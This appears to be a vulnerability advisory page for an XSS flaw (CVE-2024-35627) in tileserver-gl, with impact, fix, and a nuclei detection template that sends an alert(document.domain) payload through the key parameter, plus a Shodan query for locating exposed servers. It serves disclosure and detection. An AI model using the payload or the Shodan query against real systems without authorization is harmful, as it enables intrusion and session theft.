TileServer API - Cross Site Scripting

mediumseverity

6.1CVSS score

1%likelihood of exploitation, next 30 days

62%of all CVEs are less likely

Readycheck to confirm it

tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.

Impact

Attackers can inject malicious scripts via the key parameter, potentially compromising user sessions or stealing sensitive information.

Fix

Update tileserver-gl to a version later than v4.4.10 that patches the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/data/v3/?key=%27-alert(document.domain)-%27
Positive when: contains "TileServer" and "'-alert(document.domain)-'" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-35627 -u <target>

The full check

id: CVE-2024-35627

info:
  name: TileServer API - Cross Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.
  impact: |
    Attackers can inject malicious scripts via the key parameter, potentially compromising user sessions or stealing sensitive information.
  remediation: |
    Update tileserver-gl to a version later than v4.4.10 that patches the XSS vulnerability.
  reference:
    - https://gist.github.com/SaleSlave/e23d49e7f8eb937784d15c2c2fc34fca
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-35627
    cwe-id: CWE-79
    epss-score: 0.00957
    epss-percentile: 0.6175
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-1258058404
  tags: cve,cve2024,tileserver,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/data/v3/?key=%27-alert(document.domain)-%27"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "TileServer"
          - "'-alert(document.domain)-'"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

https://gist.github.com/SaleSlave/e23d49e7f8eb937784d15c2c2fc34fca

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